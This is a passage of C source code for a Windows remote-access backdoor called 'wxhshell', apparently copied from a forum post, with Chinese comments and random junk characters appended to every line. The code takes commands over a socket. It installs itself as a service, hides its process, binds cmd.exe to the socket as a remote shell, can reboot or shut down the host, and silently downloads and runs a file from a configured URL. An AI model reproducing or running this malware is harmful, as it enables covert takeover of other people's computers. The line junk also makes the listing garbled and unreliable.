  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b0Kc^uj5  
  } ?sMP~RHQ  
  else { -5I2ga  
2Fq<*pxAY  
    switch(cmd[0]) { lJE93rXU  
  \hM|(*DL  
  // 帮助 ZE2$I^DY-  
  case '?': { 0IfKJ*]M  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); XI22+@d6  
    break; ]K/DY Do-  
  } ],RdySN&  
  // 安装 K)\M5id]  
  case 'i': { " e}3:U5n  
    if(Install()) rfNm&!K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :j]vf8ec  
    else }jVSlCF@t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /4 vG3  
    break; (Nx;0"5IX  
    } h\PHK C2  
  // 卸载 J,AR5@)1  
  case 'r': { op6CA"w  
    if(Uninstall()) 1. rj'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L (khAmm  
    else %Mk0QKzUo  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /ew Ukc8,  
    break; }w1~K'ck}>  
    } H Ge0hl[n  
  // 显示 wxhshell 所在路径 DM}YJ  
  case 'p': { 8[J}CdS  
    char svExeFile[MAX_PATH]; /ig:9R  
    strcpy(svExeFile,"\n\r"); []A%<EI7  
      strcat(svExeFile,ExeFile); /k<WNZM  
        send(wsh,svExeFile,strlen(svExeFile),0); C\di7z:  
    break; !kE-_dY6)  
    } AKRTBjG"  
  // 重启 e(I =^#u6  
  case 'b': { k&. Jk B"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); US%^#D q  
    if(Boot(REBOOT)) DXa-rk8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~R &;v3  
    else { hb^7oq"a  
    closesocket(wsh); t| 'N+-T3  
    ExitThread(0); `$B3X  
    } {WPobP"  
    break; Qbyv{/   
    } qfK`MhA}  
  // 关机 '*k'i;2/1  
  case 'd': { tWoh''@#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); mGGsB5#w>  
    if(Boot(SHUTDOWN)) T9u<p=p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QNxl/y\l0  
    else { $.GOZqMs  
    closesocket(wsh); ;Hj~n+  
    ExitThread(0); bf!M#QOk?  
    } FDv+*sZ  
    break; sH?/E6  
    } FN%m0"/Z{t  
  // 获取shell >B2q+tA  
  case 's': { CJXg@\\/  
    CmdShell(wsh); d\FJFMW*9  
    closesocket(wsh); !Z5[QNVaV  
    ExitThread(0); Pw;!uag  
    break; TM|)Ljm  
  } M>>qn_yq4  
  // 退出 ,i,q!M{-  
  case 'x': { v0ES;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); yNqe8C,>e  
    CloseIt(wsh); CBD6bl|A  
    break; zBJ7(zh!  
    } E4W zU  
  // 离开 LbZ:&/t^y8  
  case 'q': { w&B#goS  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]<q[Do8k  
    closesocket(wsh); ZJ 77[  
    WSACleanup(); *L'>U[Pl7  
    exit(1); jD`d#R  
    break; NU*fg`w  
        } u*#ZXW  
  } Hw-Z  
  } !k/Pv\j/R  
Kbb78S30  
  // 提示信息 !\,kZ|#>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e4z1`YLsG  
} +5&wOgx  
  } -M1YE  
-~QHqU.  
  return; 8-Hsgf.*  
} Z+StB15  
3:f[gV9K  
// shell模块句柄 Xj5~%DZp  
int CmdShell(SOCKET sock) XFh>U7z.  
{ DmBS0NyR7Y  
STARTUPINFO si; B-T/V-c7  
ZeroMemory(&si,sizeof(si)); _"#!e{N|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V2<?ol  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \#>T~.Y7K  
PROCESS_INFORMATION ProcessInfo; /g$G_}  
char cmdline[]="cmd"; -#Z bR  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ocyb5j  
  return 0; F1Hh7 F  
} M!tXN&V]  
b77>$[xB  
// 自身启动模式 @mBX~ ?=Z3  
int StartFromService(void) ??i4z[0M  
{ w1|A5q'M  
typedef struct f*24)Wn<  
{ l?q%?v8  
  DWORD ExitStatus; %Jf<l&K .`  
  DWORD PebBaseAddress; }h}<! s  
  DWORD AffinityMask; 6Vbzd0dk  
  DWORD BasePriority; W7\&~IWub  
  ULONG UniqueProcessId; Cb_oS4vM  
  ULONG InheritedFromUniqueProcessId; )#}mH@  
}   PROCESS_BASIC_INFORMATION; KPpHwcYxT  
G5,~Z&}YS  
PROCNTQSIP NtQueryInformationProcess; $L2%u8}8:  
nxJee=qH  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; o8Z[+;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !!:LJ  
wHem5E  
  HANDLE             hProcess; ;kJu$U  
  PROCESS_BASIC_INFORMATION pbi; PccB]  
.?>5-od2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); snt(IJQ  
  if(NULL == hInst ) return 0; 7 uarh!  
NcAp_q? 4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); k3t78Qg  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7'-j%!#w  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pW]4bx@E  
gXH[$guf  
  if (!NtQueryInformationProcess) return 0; kGUJ9Du  
vw)7 !/#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); u?[ q=0.J7  
  if(!hProcess) return 0; Zv_jy@k  
C P3<1~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; er.CDKD%L  
:vL1}H<  
  CloseHandle(hProcess); 1H,g=Y4f%  
x#N-&baS  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `:eViVl6e  
if(hProcess==NULL) return 0; ,JEbd1Uf  
8V-\e?&^  
HMODULE hMod;  A, PlvI  
char procName[255]; 1[*{(e  
unsigned long cbNeeded; +]@Az.E  
lI/0:|l  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7DfTfTU6  
K"V:<a  
  CloseHandle(hProcess); aRc'  
)){xlFA}  
if(strstr(procName,"services")) return 1; // 以服务启动 sIl33kmv  
|Cdvfk  
  return 0; // 注册表启动 Kwhdu<6  
} XIWm>IQ[)  
o."rxd  
// 主模块 Sc]P<F7N]  
int StartWxhshell(LPSTR lpCmdLine) a0*2) uL}  
{ 8:.nEo'  
  SOCKET wsl; e2C<PGUUB  
BOOL val=TRUE; Ft@Wyo`^  
  int port=0; #2tCV't  
  struct sockaddr_in door; ZE `lr+_Y  
==cd>03()  
  if(wscfg.ws_autoins) Install(); %o}(sShS  
?Mp1~{8  
port=atoi(lpCmdLine); <g9"Cr`  
8)VgS &B~  
if(port<=0) port=wscfg.ws_port; c[ht`!P  
6TH!vuQ1(  
  WSADATA data; .]|Zf!>}s  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; QI_59f>  
C#w]4$/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ofW+_DKB?l  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &)pK%SAM  
  door.sin_family = AF_INET; h~7,`fo  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0"g@!gSrQ  
  door.sin_port = htons(port); YGsS4ia*4i  
m/`IGT5J  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { f '6|OsVQ  
closesocket(wsl); 5v^L9!`@%v  
return 1; qXXGF_Q  
} zEw >SP1,  
A7P`lJgv  
  if(listen(wsl,2) == INVALID_SOCKET) { {5%/T,  
closesocket(wsl); +^6}   
return 1; oY`qInM_  
} CT d|`  
  Wxhshell(wsl); jLcHY-P0V  
  WSACleanup(); +@VYs*&&  
y5 m!*=`l`  
return 0; H0*5_OJ!i  
dZGbC9  
} CDp8)=WJFF  
^t[HoFRa  
// 以NT服务方式启动 P.sgRsL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) k:#6^!b1  
{ l oqvi  
DWORD   status = 0; Gowp <9 F  
  DWORD   specificError = 0xfffffff; a-n4:QT  
D{'#er  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &HM-g7|C0E  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; B(l-}|m_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Oe1 t\  
  serviceStatus.dwWin32ExitCode     = 0; sygH1|f  
  serviceStatus.dwServiceSpecificExitCode = 0; TD04/ ISHT  
  serviceStatus.dwCheckPoint       = 0; @<_`2eW'/R  
  serviceStatus.dwWaitHint       = 0; =z:U~D  
P ,K\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); NE"jh_m-  
  if (hServiceStatusHandle==0) return; AH.9A_dG  
xfSG~csoz  
status = GetLastError(); /'y5SlE[J  
  if (status!=NO_ERROR) R#4 ^s  
{ FoPginZ]J  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; J?P]EQU  
    serviceStatus.dwCheckPoint       = 0; |t\|:E>" }  
    serviceStatus.dwWaitHint       = 0; ,2WH/"  
    serviceStatus.dwWin32ExitCode     = status; m%QqmTH  
    serviceStatus.dwServiceSpecificExitCode = specificError; |ia@,*KD  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ykq'g|  
    return; i ilyw_$H  
  } ;Mj002.\G  
yZSvn[f  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; oTOfK}  
  serviceStatus.dwCheckPoint       = 0; DM3B]Yl  
  serviceStatus.dwWaitHint       = 0; Uq X1E  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); vW' 5 ` %  
} ui'F'"tPz  
>uHS[ _`nM  
// 处理NT服务事件,比如:启动、停止 F ,G,b  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Fc0jQ@4=  
{ Ohl} X 1  
switch(fdwControl) /~}_hO$S  
{ ZHy><=2  
case SERVICE_CONTROL_STOP: ?gV'(3 !  
  serviceStatus.dwWin32ExitCode = 0; !=[uT+v  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7tH]*T9e>  
  serviceStatus.dwCheckPoint   = 0; CKTrZxR"  
  serviceStatus.dwWaitHint     = 0; qmmv7==  
  { Q?;C4n4]l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qtSs)n  
  } 9y"TDo  
  return; p q-!WQ  
case SERVICE_CONTROL_PAUSE: lSc,AOXp  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; w)S;J,Hv  
  break; /BzA(Ic/  
case SERVICE_CONTROL_CONTINUE: (Cj,\r  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; k]I*:'178  
  break; sT<{SmBF  
case SERVICE_CONTROL_INTERROGATE: E_[ONm=,  
  break; R @r{  
}; fkW(Dt,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B5Va%?Wg?H  
} Kp_jy.e7&  
}(=ml7)v  
// 标准应用程序主函数 I=YCQ VvA  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "d?f:x3v^  
{ 7b.U!Ju  
`=!p$hg($  
// 获取操作系统版本 J1-):3A  
OsIsNt=GetOsVer(); >=!AL,:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?;8M^a/  
\ j]~>9  
  // 从命令行安装 v+tO$QZ`  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^\YQ_/\~L  
}%{=].)L  
  // 下载执行文件 (G5T%[/U  
if(wscfg.ws_downexe) { o5#,\Y[ g  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) q[boWW  
  WinExec(wscfg.ws_filenam,SW_HIDE); ZA.fa0n  
} aBCOGtf  
q<}PM  
if(!OsIsNt) { =mJ F_Ri  
// 如果时win9x,隐藏进程并且设置为注册表启动 DS 1JF  
HideProc();  EW5]!%  
StartWxhshell(lpCmdLine); x_ySf!ih  
} k E_ky)  
else ry,}F@P&  
  if(StartFromService()) 70<K .T<b  
  // 以服务方式启动 /s-d?  
  StartServiceCtrlDispatcher(DispatchTable); s<{GpWT8  
else zMU68vwM  
  // 普通方式启动 <t6 d)mJ%  
  StartWxhshell(lpCmdLine); m9g^ -X  
xL&PJ /'  
return 0; YnxU(v'\  
}
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只看该作者 1 发表于: 2006-10-10
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